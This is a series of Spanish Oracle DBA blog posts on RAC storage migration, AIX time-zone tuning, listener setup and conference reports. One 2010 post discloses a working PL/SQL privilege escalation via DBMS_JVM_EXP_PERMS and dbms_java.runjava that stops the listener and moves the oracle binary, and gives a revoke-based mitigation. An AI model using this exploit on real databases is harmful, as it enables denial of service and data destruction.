Successful deletion of voting disk 1e56372cc94a4f92bfd9952beef36a5b.
Successful deletion of voting disk 570dd695f7ea4f08bf86d92adc2a2343.
Successful deletion of voting disk 027f719d79914f72bfc1fdfb3098209b.
Successfully replaced voting disk group with +VDISK.
CRS-4266: Voting file(s) successfully replaced

[oracle@rac1]$ crsctl query css votedisk
##  STATE    File Universal Id                File Name Disk group
--  -----    -----------------                --------- ---------
 1. ONLINE   42cd3a1355714febbf8b8be58da5d277 (/dev/rhdiskpower57) [VDISK]
 2. ONLINE   95b0b904a7844f6bbf35881a7fd545f6 (/dev/rhdiskpower130) [VDISK]
 3. ONLINE   189d6f4cba754fc6bf1d8f94fd70fe89 (/dev/rhdiskpower90) [VDISK]
Located 3 voting disk(s).

Ayudados con el utilitario crsctl, hemos trasladado los voting disks desde el diskgroup OCR hacia el diskgroup VDISK, siendo el escenario actual:

Ahora que el diskgroup OCR contiene solamente el ocr y el spfile de ASM, ya es posible recurrir al rebalanceo de ASM, por lo que procedemos a agregarle los LUNs provisionados en el disk array nuevo, empleando nuevamente el utilitario ASMCA.

Luego de agregar los 3 LUNs del nuevo disk array, la configuración es:

Ahora ya es posible retirar los discos del disk array antiguo, siempre apoyados con ASMCA.

Con los LUNs antiguos ya removidos, la nueva situación es:

Ahora que los contenidos del diskgroup OCR residen exclusivamente sobre LUNs del nuevo array disk, es hora de retornar los voting disks a su diskgroup original.

[oracle@rac1]$ crsctl replace votedisk +OCR
Successful addition of voting disk 5385fdac3eb44f96bf206fc7cce7fe48.
Successful addition of voting disk a4a5d6afbd064fa2bffe306654b0f3ac.
Successful addition of voting disk 2cbc13a0ff444fd7bf79670b75fe42c4.
Successful deletion of voting disk 42cd3a1355714febbf8b8be58da5d277.
Successful deletion of voting disk 95b0b904a7844f6bbf35881a7fd545f6.
Successful deletion of voting disk 189d6f4cba754fc6bf1d8f94fd70fe89.
Successfully replaced voting disk group with +OCR.
CRS-4266: Voting file(s) successfully replaced

[oracle@rac1]$ crsctl query css votedisk
##  STATE    File Universal Id                File Name Disk group
--  -----    -----------------                --------- ---------
 1. ONLINE   5385fdac3eb44f96bf206fc7cce7fe48 (/dev/rhdiskpower1002) [OCR]
 2. ONLINE   a4a5d6afbd064fa2bffe306654b0f3ac (/dev/rhdiskpower1001) [OCR]
 3. ONLINE   2cbc13a0ff444fd7bf79670b75fe42c4 (/dev/rhdiskpower1000) [OCR]
Located 3 voting disk(s).

Finalmente hemos llegado al siguiente escenario:

En este momento ya tenemos tanto el ocr, el spfile y los voting disks en el diskgroup OCR, usando únicamente LUNs del nuevo disk storage system EMC VNX, por lo que es posible eliminar el diskgroup VDISK, ya no necesitamos más de él.

Con esto podemos dar por concluida la tarea de movimiento de los contenidos del diskgroup OCR (ocr, voting disks, spfile de ASM), hacia el nuevo disk array EMC VNX, sin suspensión alguna del servicio y en muy pocos minutos. Desde luego, el procedimiento fue previamente probado en un ambiente virtualizado, pues una cosa es lo que dice la documentación y otra la que pasa en la vida real, por lo que es altamente recomendable que Uds. tambien lo hagan, recuerden que cada instalacion tiene su particularidades, así que mejor no correr riesgos innecesarios. Será hasta la próxima amigos!

Post Relacionados:

OOW 2012, allá voy!

noreply@blogger.com (Enrique Orbegozo) — Fri, 28 Sep 2012 01:57:00 +0000

Cada año se realiza el Oracle Open World, al cual somos cordialmente invitados todos los Oracle ACE. Pero nunca faltaba algún contratiempo (léase proyecto en marcha con plazos ajustados) que me obligaba a postergar mi asistencia, pero al iniciar este año tomé la decisión de asistir sí o sí.

Desde Junio hice la compra de los respectivos boletos de avión, que -gracias a los KM acumulados- me salieron gratis! Y ya que entraba en la onda del low budget, opté por reservar habitación en el Park Hotel de San Francisco, por solo US$450 la semana!, una ganga considerando que en San Francisco no es nada barato el alojamiento, y más aún cuando 50,000 personas llegan de golpe casi el mismo día y pugnan por tener un alojamiento cercano al Moscone Center, lugar donde se desarrolla el OOW, y el Park Plaza está a unas pocas cuadras, tan cerca que puedo llegar incluso a pie.

Resuelto el problema de cómo llegar y dónde alojarme, venía la tarea de escoger entre los cientos de presentaciones disponibles, tarea nada fácil desde luego. Luego de revisar y revisar, terminé seleccionando lo que me pareció más cercano a lo que vengo desarrollando regularmente: Tuning de Base de Datos y Aplicaciones, y soluciones de Alta Disponibilidad y Contingencia.

Aparte de las presentaciones técnicas, Larry Ellison siempre busca robarse el show, y este año no sería la excepción: hay fuertes rumores de que nos daria la sorpresa con el lanzamiento de Oracle 12c Database, nada mal, cruzo los dedos para que así sea.

Y como no todo es Oracle, aprovecharé a tomar una semana de descanso, para conocer las atracciones principales de San Francisco (Alcatráz, Golden Gate) y probablemente San Diego (Zoo, SeaWorld), y por qué no, para deleitarme con un buen cebiche al estilo peruano en La Mar .

Es todo por el momento amigos, prometo mantenerlos al tanto de las novedades en el OOW (siganme en Twitter @enriqueorbegozo) y a mi retorno retomar los Posts técnicos, que buen tiempo he abandonado, hasta la próxima!

Las paradojas del tiempo

noreply@blogger.com (Enrique Orbegozo) — Sun, 01 Apr 2012 07:16:00 +0000

En esta ocasión les voy a contar sobre un problema muy singular y la forma en que fue resuelto, estoy seguro que muchos usuarios de AIX 6.1, y quizás de otras plataformas, deben tener este problema y no lo han notado aún.

La historia se remonta a unos meses atrás, había concluido el upgrade de una base de datos desde Oracle 10.2.0.3 hacia Oracle 11.2.0.2.3, que era la versión más reciente en ese momento, y luego de ello nos percatamos de que los tiempos de respuesta se habían deteriorado, sin explicación alguna.

Como el upgrade incluyó la migración de la base de datos a un nuevo servidor, empezamos a hacer algunas pruebas usando ambos servidores y ambas versiones de Oracle y finalmente logramos reducir el problema al uso de SYSDATE, con los resultados que se muestra a continuación.

DECLARE
  v_dt DATE;
BEGIN
  FOR i IN 1 .. 1000000 LOOP
    SELECT SYSDATE INTO v_dt FROM dual;
  END LOOP;
END;
/

Antiguo servidor
10.2.0.3:
Elapsed: 00:00:32.17

11.2.0.2.3:
Elapsed: 00:00:41.09

Nuevo servidor
11.2.0.2.3:
Elapsed: 00:00:56.89

Noten como en el antiguo computador, Oracle 11.2 toma 28% más tiempo en procesar que Oracle 10.2, y en el nuevo computador la situación es más grave aún pues toma 78% más tiempo, esto considerando que el nuevo computador es el doble de rápido que el antiguo!

Como el problema era evidente recurrimos a Oracle Support, quienes finalmente nos recomendaron hacer upgrade al reciente Oracle 11.2.0.3, lo que hicimos inicialmente en el antiguo servidor, con el siguiente resultado:

Elapsed: 00:00:32.62

La situación mejoró notablemente y ya se observaban tiempos similares a los que Oracle 10.2.0.3 proporcionaba, así que iniciamos el upgrade del servidor de producción hacia Oracle 11.2.0.3. Grande fue nuestra sorpresa cuando luego de ello encontramos lo siguiente:

Elapsed: 00:00:51.53

La mejora solo fue de 9%, terrible, inexplicable, desalentador. Fue entonces que Oracle sacó su as bajo la manga y nos indicó aplicar el patch para el bug 12596494 GENERALLY HIGHER CPU USAGE IN 11.2.0.2 THAN 10.2.0.4 11.2.0.3.0 IBM AIX on POWER Systems (64-bit), que ya habíamos aplicado en Oracle 11.2.0.2.3 pero que no había sido resuelto aún en 11.2.0.3. Con la esperanza de que finalmente resolveríamos el problema lo aplicamos en el servidor de producción, obteniendo el siguiente resultado:

Elapsed: 00:00:43.43

Aún con el patch aplicado, el tiempo era 34% superior al que Oracle 10.2.0.3 lograba en el antiguo servidor, con procesadores mucho más lentos que el de producción.

Ya se nos habían agotado todas las ideas, pero como bien dicen: cuando está todo más oscuro, es porque está por amanecer, y fue justo en este momento que IBM hizo su aparición: un Ingeniero de IBM de Argentina nos dirigió al APAR IZ86764 PERFORMACE DIFFERENCE WHEN USING OLSON TZ .VS. POSIX TZ:

Problem summary

Doc change noting performance impact when using Olson time zone instead of Posix time zone.

Problem conclusion

There will be new information addeded to the "Miscellaneous tunable parameters" section under "Tunable parameters – Environment variables" in the Performance Management Guide regarding the Olson time zone, basically stating that TZ in AIX 6.1 and later are defaulted to Olson time zone, and may be tuned to POSIX time zone for performance sensitive applications that do not depend on adequately handled changes to time zone rules and daylight saving time.

¡Bingo! Comparando el antiguo y el nuevo servidor encontramos:

[root@old.server]$ oslevel –s
5300-07-00-0000
[root@old.server]$ echo $TZ
EST5 (POSIX)

[root@new.server]$ oslevel –s
6100-06-05-1115
[root@new.server]$ echo $TZ
America/Lima (OLSON)

En efecto, esa era la diferencia entre ambos servidores, el antiguo usaba un TZ del tipo Posix, a diferencia del nuevo, que usaba TZ del tipo Olson, así que de inmediato hicimos el cambio:

/etc/environment
#TZ=America/Lima
TZ=EST5

Y a continuación realizamos la prueba de rigor, con el resultado:

Elapsed: 00:00:17.19

Finalmente logramos que el proceso se ejecutara en menos tiempo, siendo 88% más rápido con respecto a los tiempos observados en el antiguo computador, ¡problema resuelto!

Algún tiempo después he tenido la oportunidad de trabajar con instalaciones similares (AIX 6.1 con Oracle 11.2), en las que venían trabajando con TZ del tipo Olson y sin aplicar patch alguno, por lo que me temo que para la gran mayoría de usuarios de esta combinación, el problema no ha sido notado aún y por consiguiente no tienen el desempeño que podrian tener.

Hasta acá llegamos por ahora, espero que con lo indicado logren obtener mejoras en sus instalaciones, quizás esto ocurre también en otras plataformas, de ser así por favor compartan su experiencia por este medio, les estaremos muy agradecidos, hasta la próxima.

Registro dinámico de servicios y ora-12514

noreply@blogger.com (Enrique Orbegozo) — Fri, 02 Apr 2010 22:32:00 +0000

En algunas ocasiones he sido consultado sobre problemas de conectividad que se presentan sin previo aviso y vienen acompañados del mensaje de error ORA-12514: TNS:listener does not currently know of service requested in connect descriptor. Hay quienes indican que extrañamente la comunicación era perfecta poco antes y que ya han revisado los archivos de configuración como el listener.ora y el tnsnames.ora y que todo se ve bien pero aún así no logran establecer nuevas conexiones. Un detalle adicional es que todos estos casos tienen el común denominador de que el puerto en uso no es el usual 1521 sino algún otro. Considerando este escenario pre-determinado, síganme para ver lo simple que puede ser resolver este problema.

Conceptos previos

El background process PMON se encarga de registrar dinámicamente con el listener los servicios disponibles en una base de datos, lo cual se conoce como registro dinámico de servicios. Ahora bien, hay que tener en cuenta que por defecto las bases de datos Oracle registran sus servicios con el listener asumiendo que éste está atendiendo por el puerto 1521, si se usa un puerto distinto a éste se requiere de medidas adicionales para permitir que PMON sepa dónde registrar los servicios de la base de datos o no lo logrará hacer y caeremos en el error ORA-12514.

Solución

1. No es inusual que se configure un puerto distinto al 1521, hay varias razones para ello pero principalmente se hace como medida de seguridad adicional para prevenir ataques que aprovechan justamente que la gran mayoría deja su listener configurado con el puerto por defecto 1521, de allí que cambiarlo sea altamente recomendado.

Veamos primeramente un listener modificado (listener.ora):

LISTENER =
  (DESCRIPTION_LIST =
    (DESCRIPTION =
    (ADDRESS = (PROTOCOL = TCP)(HOST = caliope)(PORT = 15402))
    )
  )

2. Esto se debe complementar con la configuración del parámetro local_listener, para lo cual tenemos dos posibilidades, una primera en la que colocamos los datos explícitamente:

SQL> alter system set local_listener="(address=(protocol=TCP)(host=caliope)(port=15402))";

O una segunda, en que se usa una cadena de conexión que se puede resolver mediante la consulta al archivo tnsnames.ora.

SQL> alter system set local_listener=listener_bd;

El alias listener_bd debe existir localmente, como se observa a continuación (tnsnames.ora):

LISTENER_BD =
  (DESCRIPTION =
    (ADDRESS = (PROTOCOL = TCP)(HOST = caliope)(PORT = 15402))
  )

3. Con esto solo nos resta verificar que la conectividad está efectivamente operativa, para lo cual consideramos la siguiente cadena de conexión (tnsnames.ora):

BD =
  (DESCRIPTION =
    (ADDRESS = (PROTOCOL = TCP)(HOST = caliope)(PORT = 15402))
    (CONNECT_DATA =
      (SERVER = DEDICATED)
      (SERVICE_NAME = bd)
    )
  )

Misma que probamos con SQL*Plus

[oracle@caliope ~]$ sqlplus system/oracle@bd

SQL*Plus: Release 11.1.0.7.0 - Production on Thu Apr 1 15:19:17 2010

Copyright (c) 1982, 2008, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Enterprise Edition Release 11.1.0.7.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

SYSTEM@bd >

¡Todo funcionó a la perfección!

Conclusión

¿Qué les pareció? ¿No está complicado verdad?, pero les sorprendería saber cuántos no siguen estas consideraciones y luego de crear listeneres adicionales, observan que se interrumpen las nuevas conexiones luego de detener el listener que usa el puerto 1521 y se pregunta el por qué, si se supone que esas bases de datos usan otros puertos en otros listeners; bueno, ahora ya lo saben, así que: ¡a corregir se ha dicho!

Peligro inminente, ¡Dios nos coja confesados!

noreply@blogger.com (Enrique Orbegozo) — Sun, 07 Feb 2010 05:14:00 +0000

Para los que aún no están enterados, se ha hecho pública una vulnerabilidad muy seria para quienes están trabajando con Oracle 10g o superior. Esta vulnerabilidad permite que un usuario con el mínimo privilegio de crear una sesión pueda tener acceso irrestricto a los archivos del servidor en el cual se está ejecutando la base de datos Oracle. Si quieren saber a qué nos estamos enfrentando a continuación les muestro lo fácil que es ganar estos privilegios, y lo dañino que puede resultar en manos inescrupulosas.

Volviéndose todopoderoso

1. Primero preparemos el ambiente, creamos un usuario y le dejamos crear sesiones.

[oracle@rhel ~]$ sqlplus / as sysdba

SQL*Plus: Release 11.1.0.7.0 - Production on Sat Feb 6 17:47:36 2010

Copyright (c) 1982, 2008, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Release 11.1.0.7.0 - Production


SYS@orcl > create user test identified by test;

User created.

SYS@orcl > grant create session to test;

Grant succeeded.

2. Ahora es cuestión de ejecutar el siguiente código.

[oracle@rhel ~]$ sqlplus test/test

SQL*Plus: Release 11.1.0.7.0 - Production on Sat Feb 6 17:47:36 2010

Copyright (c) 1982, 2008, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Release 11.1.0.7.0 - Production

TEST@orcl > DECLARE
  2    dummy DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
  3    CURSOR c_dummy IS
  4      SELECT 'GRANT', USER(), 'SYS', 'java.io.FilePermission',
  5             '<<ALL FILES>>', 'execute', 'ENABLED'
  6        FROM dual;
  7  BEGIN
  8    OPEN c_dummy;
  9    FETCH c_dummy BULK COLLECT INTO dummy;
 10    CLOSE c_dummy;
 11    DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS( dummy );
 12  END;
 13  /

PL/SQL procedure successfully completed.

TEST@orcl > exit
Disconnected from Oracle Database 11g Release 11.1.0.7.0 - Production

3. Gracias al package DBMS_JVM_EXP_PERMS, el cual tiene permisos de ejecución para PUBLIC, se ha logrado obtener acceso irrestricto a los archivos, tanto de lectura, escritura como de ejecución. Nuevamente nuestros amigos de Java metiéndonos en problemas, jajaja, pero ya bromas aparte, empecemos por un ataque relativamente benigno como detener el listener, lo que sería una forma relativamente simple de lo que es conocido como un ataque del tipo DoS (Denial of Service).

[oracle@rhel ~]$ ps -ef | grep tns | grep -v grep
oracle    7505     1  0 17:45 ?        00:00:00 /u01/app/oracle/11.1.0/db_1/bin/tnslsnr LISTENER -inherit

[oracle@rhel ~]$ sqlplus test/test

SQL*Plus: Release 11.1.0.7.0 - Production on Sat Feb 6 17:50:29 2010

Copyright (c) 1982, 2008, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Release 11.1.0.7.0 - Production


TEST@orcl > select dbms_java.runjava('oracle/aurora/util/Wrapper /u01/app/oracle/11.1.0/db_1/bin/lsnrctl stop') from dual;

DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPPER/U01/APP/ORACLE/11.1.0/DB_1/BIN/LSNRCTLSTOP')
----------------------------------------------------------------------------------------------------


TEST@orcl > exit
Disconnected from Oracle Database 11g Release 11.1.0.7.0 - Production

[oracle@rhel ~]$ ps -ef | grep tns | grep -v grep
[oracle@rhel ~]$

Con esta acción se está impidiendo la creación de nuevas sesiones al no haber listener que las cree, lo que en la práctica significa que la base de datos ha pasado a estar parcialmente operativa.

4. Desde luego se pueden hacer cosas perores, veamos ahora una acción mucho más destructiva, moveremos de sitio al ejecutable oracle pero bien podría ser su eliminación o la de todo el directorio en el que está instalado Oracle, los datafiles, etc., no hay límites al daño que se puede causar!!!

[oracle@rhel ~]$ ls -la /u01/app/oracle/11.1.0/db_1/bin/oracle
-rwsr-s--x 1 oracle dba 149249171 Feb  2 17:43 /u01/app/oracle/11.1.0/db_1/bin/oracle
[oracle@rhel ~]$ sqlplus test/test

SQL*Plus: Release 11.1.0.7.0 - Production on Sat Feb 6 17:58:45 2010

Copyright (c) 1982, 2008, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Release 11.1.0.7.0 - Production

TEST@orcl > select dbms_java.runjava('oracle/aurora/util/Wrapper /bin/mv /u01/app/oracle/11.1.0/db_1/bin/oracle /tmp/.') from dual;

DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPPER/BIN/MV/U01/APP/ORACLE/11.1.0/DB_1/BIN/ORACLE/TMP/.')
----------------------------------------------------------------------------------------------------


TEST@orcl > exit
Disconnected from Oracle Database 11g Release 11.1.0.7.0 - Production

[oracle@rhel ~]$ ls -la /u01/app/oracle/11.1.0/db_1/bin/oracle
ls: /u01/app/oracle/11.1.0/db_1/bin/oracle: No such file or directory

[oracle@rhel ~]$ ls -la /tmp/oracle
-rwsr-s--x 1 oracle dba 149249171 Feb  2 17:43 /tmp/oracle

Si nos quedaban dudas, a estas alturas creo que ya estamos convencidos que estamos ante un problema bastante serio. ¿Qué hacer? Por el momento no hay mayor alternativa que retirar los privilegios públicos de ejecución del paquete DBMS_JVM_EXP_PERMS, lo que impediría obtener amplios privilegios al invocarlo.

[oracle@rhel ~]$ sqlplus / as sysdba

SQL*Plus: Release 11.1.0.7.0 - Production on Sat Feb 6 17:47:36 2010

Copyright (c) 1982, 2008, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Release 11.1.0.7.0 - Production

SYS@orcl > revoke execute on DBMS_JVM_EXP_PERMS from public;

Revoke succeeded.

SYS@orcl > connect test/test
Connected.
TEST@orcl > DECLARE
  2    dummy DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
  3    CURSOR c_dummy IS
  4      SELECT 'GRANT', USER(), 'SYS', 'java.io.FilePermission',
  5             '<<ALL FILES>>', 'execute', 'ENABLED'
  6        FROM dual;
  7  BEGIN
  8    OPEN c_dummy;
  9    FETCH c_dummy BULK COLLECT INTO dummy;
 10    CLOSE c_dummy;
 11    DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS( dummy );
 12  END;
 13  /

ERROR at line 2:
ORA-06550: line 2, column 13:
PLS-00201: identifier 'DBMS_JVM_EXP_PERMS' must be declared
ORA-06550: line 2, column 13:
PL/SQL: Item ignored
ORA-06550: line 9, column 39:
PLS-00320: the declaration of the type of this expression is incomplete or malformed
ORA-06550: line 9, column 7:
PL/SQL: SQL Statement ignored
ORA-06550: line 11, column 43:
PLS-00320: the declaration of the type of this expression is incomplete or malformed
ORA-06550: line 11, column 6:
PL/SQL: Statement ignored

Retirar el privilegio de PUBLIC es una alternativa radical que amerita la realización de pruebas extensas de funcionalidad por cuanto es posible que al retirar este privilegio algo por allí deje de funcionar, es un riesgo que siempre se corre pero no nos quedan muchas alternativas que digamos, mientras tanto habrá que esperar a que Oracle libere algún patch específico a la brevedad, porque esperar al próximo CPU, en Abril de 2010, dejaría bastante tiempo disponible para eventuales ataques, así que a tomar medidas preventivas se ha dicho!!!

Update

(Feb 10,2010)

Mi buen amigo Ronald Vargas nos comenta en una entrada reciente que: "...Los problemas de seguridad a los que se hacen referencia en el documento de Enrique, para poder ser explotadas, el usuario debe tener acceso a nivel de sistema operativo a la herramienta SQL*Plus en el servidor, ya que el ejecutar un comando, requiere de privilegios administrativos, a los cuáles no puedes accesar, sino estas logeado localmente, ya sea en la consola del servidor o a través de un utilitario o emulador de ambiente gráfico de Windows ó Linux, o un utilitario de acceso de terminal remota...". Ronald concluye su Post con: "...Así que como les dije al principio, "que no panda el cúnico", no hay mucho de que alarmarnos..."

Sobre el particular, Ronald estaría tomando como referencia lo indicado en The H Security, pero al menos en mis pruebas personales no ha sido necesario estar conectado directamente en el servidor de base de datos para explotar este problema, logré reproducirlo conectado remotamente desde una estación con Windows Vista usando un cliente Oracle 11.1.0.7 y un usuario que solamente tiene el privilegio create session:

Linux:
[oracle@rhel ~]$ ls -l /home/oracle
-rw-r--r-- 1 oracle oinstall 45 Feb  9 09:26 /home/oracle/afiedt.buf

Windows
C:\Windows\system32>sqlplus test/test@orcl

SQL*Plus: Release 11.1.0.7.0 - Production on Wed Feb 10 10:50:56 2010

Copyright (c) 1982, 2008, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Release 11.1.0.7.0 - 64bit Production

TEST@orcl > select dbms_java.runjava('oracle/aurora/util/Wrapper /bin/mv /home/oracle/afiedt.buf /home/oracle/afiedt.BUF') from dual;

DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPP
-------------------------------------------


TEST@orcl > exit
Disconnected from Oracle Database 11g Release 11.1.0.7.0 - 64bit Production

Linux:
[oracle@rhel ~]$ ls -l /home/oracle
-rw-r--r-- 1 oracle oinstall 45 Feb  9 09:26 /home/oracle/afiedt.BUF

Asi que el peligro sigue siendo real y su explotación bastante simple, tomen sus precauciones!

Presentación en el PEOUG Day 2009

noreply@blogger.com (Enrique Orbegozo) — Fri, 20 Nov 2009 00:30:00 +0000

El tiempo sí que vuela!, han pasado ya varias semanas sin actualizar el Blog producto de que las consultorías me vienen teniendo ocupado gran parte del día y lo que me quedaba libre lo he estado dedicando a la preparación de mi presentación para el PEOUG Day 2009 que finalmente se llevó a cabo ayer.

Mi participación en este evento fue gracias a la invitación de Miguel Palacios, presidente del PEOUG y flamante Oracle ACE. Aún cuando tenía el tiempo bastante ajustado decidí aceptar el reto, y es que si bien la presentación duraba una hora -lo cual puede parecer poco tiempo para el público oyente- para el expositor usualmente representa una gran cantidad de horas a invertir en la elaboración del material visual a presentar, lo bueno es que este es el costo inicial y luego de esto el material queda y se puede utilizar para futuras presentaciones.

El día del evento salí de casa más temprano de lo habitual, pero igual me topé con un tráfico brutal, cortesía de las chicas del Escuadrón Fénix, que saben tanto del control del tráfico como yo de Informix, pero pese a que hicieron su mejor esfuerzo (mejor suerte para la próxima, chicas ) alcancé a llegar justo cuando Miguel arrancaba con las palabras de bienvenida y acto seguido Tom Kyte presentó su Keynote "The Best Way". La sala estaba totalmente llena, cientos de personas escuchaban con gran atención las palabras de este personaje casi mítico en el mundo Oracle. Una hora después Tom había concluido su impecable presentación entre los aplausos de los asistentes, entre ellos los míos desde luego, que me cuento entre sus más fervientes seguidores . La moraleja de su presentación es que no hay tal cosa como "la mejor forma de ....", pues al final todo depende de lo que estas pretendiendo hacer.

Faltaban un par de horas para mi presentación así que aproveché a conversar con viejos amigos, y con algunos ex-alumnos de los cursos de Oracle University, para luego encaminarme a la sala que me habían asignado. Entré y encontré ya iniciada la presentación de Juan Camilo Ruiz titulada "Become Fusion Developer with no Java", y escuchándolo terminé de convencerme que Java no es lo mío, las cosas se han simplificado mucho pero aun no es tan fácil como Oracle Forms por ejemplo. Conforme se acercaba mi hora, aun mantenía la oculta esperanza de que concluida la charla de Juan Camilo la sala quedara vacía y mi público se quedaría reducido a un par de gatos (4 si contamos al camarógrafo y a la azafata), después de todo a esa misma hora Francisco Muñoz presentaba "Oracle Database Advanced Security Options", así que cuando Juan Camilo se retiró y pasé a ocupar su lugar en el estrado, grande fue mi sorpresa al ver que la gente no solo no se iba sino que seguían entrando y hasta quedó un buen grupo de gente de pie, al fondo de la sala. Así que recurrí al infalible Plan B: el viejo truco de quitarme las gafas y así aprovechar que, gracias a mi astigmatismo, solamente vería un público borroso y por tanto inofensivo .

Sin mayor preámbulo procedí a iniciar mi presentación titulada Malas prácticas de programación, impacto y solución (mismo que pueden descargar desde ya). Debo reconocer que el público asistente fue muy receptivo y conforme iba mostrando algunos ejemplos de la audacia y osadía a la que pueden llegar algunos de nuestros amigos programadores, los oyentes se mantuvieron atentos, percatándose y celebrando el sarcasmo que de cuando en cuando introducía, según yo de forma solapada. Ya hacia el final, la azafata me hacía señas para que terminara mi charla, pero lo cierto es que mi presentación no se inició a la hora pactada, por motivos ajenos a mi voluntad, y lo justo era que me concedieran la hora completa por lo que, aun cuando considero que la democracia no es perfecta, me aproveché de ella y consulté a los asistentes si deseaban retirarse, afortunadamente la gente votó mayoritariamente porque la sesión siga y como vox populi, vox dei, seguimos adelante y pocos minutos después todo había concluido satisfactoriamente. En suma, creo que ambos, el auditorio y yo, salimos más contentos que cuando entramos, lo cual es ya un logro nada despreciable, salvo mejor opinión.

Luego de almorzar algo a la volada, continué con el evento y asistí a la presentación de Miguel Palacios titulada "Implementando Oracle Streams", para luego regresar nuevamente con Tom Kyte y "All about metadata". Conforme escuchaba a Tom desarrollar el tema, aumentaba mi duda de si no se estaría refiriendo a un cliente mío, Acme Corporation, que estaba pasando por los mismos problemas: no uso de integridad referencial, no uso del constraint not null, almacenamiento de fechas como number y no como date, etc., menos mal ya están revirtiendo esta forma de trabajo, pues tal como demostrara Tom con algunos ejemplos muy representativos, carecer de constraints limita seriamente al optimizador y por tanto no solo la integridad de los datos está en juego sino también el desempeño de las aplicaciones.

A continuación asistí a la presentación de Francisco Muñoz, "Logging or nologging" y finalmente al Keynote "Top 10, no 11, new features of Oracle database 11gR2" a cargo de Tom Kyte. Luego, el cierre del evento, un brindis, algunos sorteos y como quien no quiere la cosa le pedí a Tom Kyte que autografiara una copia (no era pirata desde luego) de su libro "Expert Oracle", mismo que estoy ahora subastando en eBay, ¿qué? ¿de verdad creyeron eso?, como lo voy a subastar pues, lo tengo bien guardadito en mi mesa de noche, justo encima de la Biblia, jajaja.

Bromas aparte, y ya para terminar, me queda la impresión de que el PEOUG Day 2009 fue un rotundo éxito, salvo por la presentación de Oracle "Oracle LMS as Value Added Service", en la que se tocaron temas relacionados finalmente con el licenciamiento, un tema que a nosotros -los usuarios finales- no nos llama mucho la atención, de seguro que si alguien de la Sunat nos hablaba de las ventajas de estar al día con nuestros impuestos hubiese tenido el mismo mágico efecto . Ojo!, no digo que empecemos a evadir impuestos y usemos Oracle pirata, de hecho la Sunat me debe todo un sueldo en impuestos pagados en exceso y lo primero que verifico con mis clientes es que estén con un licenciamiento correcto, pero en esta ocasión no era el público, el lugar, ni el momento apropiado para tratar este tema, mi modesta opinión desde luego. Hasta aquí llega mi reporte desde el lugar de los hechos, hasta la próxima!

Instalando Oracle 11g Release 2 en OEL 5.3

noreply@blogger.com (Enrique Orbegozo) — Fri, 04 Sep 2009 04:33:00 +0000

Finalmente logré descargar Oracle 11g Release 2 desde OTN, con lo que pude dar inicio a la instalación del software y la posterior creación de una base de datos. En este Post les mostraré lo que encontré en la parte correspondiente a la instalación del software, ojo que no pretendo reemplazar a la guía de instalación, cuya lectura es obligatoria.

Instalación paso a paso

Esta instalación la hice sobre OEL 5.3, si bien lo usual es configurarlo de tal forma que se cumpla estrictamente lo indicado como pre-requisitos, a fin de probar la efectividad de los installation fixup scripts, si bien instalé los RPMs exigidos, deliberadamente dejé de configurar los parámetros del kernel.

1. Luego de invocar a Oracle Universal Installer, se nos ofrece registrar nuestro email y password de My Oracle Support a fin de recibir eventuales notificaciones, pero afortunadamente no es un obligatorio completar estos datos.

2. Por defecto se nos sugiere instalar el software y crear la base de datos, pero en esta parte me interesa exclusivamente lo primero.

3. Hora de decidir si queremos o no usar Real Application Clusters; para no complicar las cosas mejor empezamos con una configuración que no lo use.

4. ¿Qué lenguaje usar? La verdad yo prefiero usar Inglés para todo el software que uso, esto va desde Windows Vista, Office 2007, y desde luego lo extiendo a OEL y Oracle.

5. Para evaluar todo el poderío de Oracle Server, lo mejor es instalar Enterprise Edition, sin duda alguna.

6. La ubicación del software no amerita mucho razonamiento, los valores por defecto son los correctos para esta prueba.

7. Idem para el Inventory Directory.

8. Los grupos asignados a OSDBA y OSOPER son los esperados.

9. Aquí empieza la novedad, OUI hace la verificación de los pre-requisitos, y como no configuré los parámetros del kernel, recibo la alerta de que es necesario resolverlo antes de continuar.

Lo interesante es que OUI está en capacidad de proporcionarme un script que me permita resolver todos aquellos errores que aparecen como fixable, es cuestión de presionar el botón Fix & Check Again.

Siguiendo las instrucciones procedo a ejecutar runfixup.sh desde una sesión en la que estoy conectado como root.

[root@talia ~]# /tmp/CVU_11.2.0.1.0_oracle/runfixup.sh
Response file being used is :/tmp/CVU_11.2.0.1.0_oracle/fixup.response
Enable file being used is :/tmp/CVU_11.2.0.1.0_oracle/fixup.enable
Log file location: /tmp/CVU_11.2.0.1.0_oracle/orarun.log
Setting Kernel Parameters...
kernel.sem = 250 32000 100 128
fs.file-max = 6815744
net.ipv4.ip_local_port_range = 9000 65500
net.core.rmem_default = 262144
net.core.wmem_default = 262144
net.core.rmem_max = 4194304
net.core.wmem_max = 1048576
fs.aio-max-nr = 1048576
uid=502(oracle) gid=501(oinstall) groups=501(oinstall),502(dba),506(asmdba)

De vuelta a OUI, se repite la verificación y los problemas de configuración del kernel han desaparecido! Quedan las advertencias sobre la memoria disponible y el espacio de swap asignado, pero no es realmente un problema para esta prueba por lo que opto por ignorarlos y proseguir con la instalación, desde luego Uds. no deben hacer eso con una instalación real.

10. Llegamos a la pantalla de resumen de la instalación.

11. Y la acción empieza!

En este equipo he instalado antes Oracle 9.2, 10.2 y 11.1, pero esta vez sentí que tomo más tiempo que en esas oportunidades.

12. El paso final es ejecutar algunos scripts, teniendo el cuidado de hacerlo con el usuario root.

[root@talia ~]# /u01/app/oraInventory/orainstRoot.sh
Changing permissions of /u01/app/oraInventory.
Adding read,write permissions for group.
Removing read,write,execute permissions for world.

Changing groupname of /u01/app/oraInventory to oinstall.
The execution of the script is complete.

[root@talia ~]# /u01/app/oracle/product/11.2.0/dbhome_1/root.sh
Running Oracle 11g root.sh script...

